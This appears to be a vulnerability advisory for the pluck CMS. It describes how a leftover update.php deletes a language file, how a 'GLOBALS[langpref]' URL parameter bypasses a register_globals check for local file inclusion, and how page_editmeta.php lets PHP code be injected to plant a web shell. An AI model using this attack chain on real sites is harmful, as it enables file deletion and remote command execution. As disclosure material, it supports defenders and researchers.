Exploit condition : register_globals = on
Note(!): regardless of php.ini settings, this code will turn your host in a blank page ...
Vulnerability:
this program carries a dangerous update.php script. If reachable
in the main folder, you can delete the files with language and theme preferences:
...
$step = $_GET['step'];
...
...
elseif($step == "3") {
echo "Rearranging files for compatibility with pluck 4.5...<br>";
copy("data/title.dat", "data/settings/title.dat");
unlink("data/settings/install.dat");
copy("data/install.dat", "data/settings/install.dat");
copy("data/options.php", "data/settings/options.php");
copy("data/pass.php", "data/settings/pass.php");
unlink("data/settings/langpref.php");
copy("data/inc/lang/langpref.php", "data/settings/langpref.php");
unlink("data/settings/themepref.php");
copy("data/inc/themes/themepref.php", "data/settings/themepref.php");
...
see the unlink() calls... the subsequent copy() has no results if you
don't place the source files there...
Now look at index.php, lines 21-26:
...
//Include security-enhancements
include ("data/inc/security.php");
//Include Translation data
include ("data/settings/langpref.php");
include ("data/inc/lang/en.php");
include ("data/inc/lang/$langpref");
...
The script now fails to include the langpref.php script and "langpref" variable is not initialized then,
***if register_globals=on*** you can include arbitraty files from local resources.
This check in security.php doesn't work as expected :
...
//Register Globals
//If Register Globals are ON, unset injected variables
if(isset($_REQUEST)) {
foreach ($_REQUEST as $key => $value) {
if(isset($GLOBALS[$key])) {
unset($GLOBALS[$key]);
}
}
}
...
ex: http://host/path/index.php?GLOBALS[langpref]=1
It unsets the "GLOBALS" key from the GLOBALS[] array, while langpref variable remains
overwritten...
You can include the /data/inc/page_editmeta.php script which contains a nice php injection:
...
if(isset($_POST['Submit'])) {
$data = "data/content/$editmeta";
include("data/inc/page_stripslashes.php");
$file = fopen($data, "w");
fputs($file, "<?php
\$title = \"$title\";
\$content = \"$content\";
\$contactinc = \"$contactinc\";
\$hidden = \"$hidden\";
\$description = \"$cont1\";
\$keywords = \"$sleutel\";
\$copyright = \"$copyr\";");
//Check if we also need to include albums
if ($incalbum) {
foreach ($incalbum as $name => $value) {
fputs($file, "\n\$incalbum['$name'] = \"yes\";");
} }
//Check if we also need to include blogs
if ($incblog) {
foreach ($incblog as $name => $value) {
fputs($file, "\n\$incblog['$name'] = \"yes\";");
} }
fputs($file, "\n ?>");
fclose($file);
...
also this check in /data/inc/page_editmeta.php is unuseful because
you call it from the main script:
...
//Make sure the file isn't accessed directly
if((!ereg("index.php", $_SERVER['SCRIPT_FILENAME'])) && (!ereg("admin.php", $_SERVER['SCRIPT_FILENAME'])) && (!ereg("install.php", $_SERVER['SCRIPT_FILENAME'])) && (!ereg("login.php", $_SERVER['SCRIPT_FILENAME']))){
//Give out an "access denied" error
echo "access denied";
//Block all other code
exit();
}
...
We choose the /data/count.php to inject a php shell then you can launch commands on the target server.
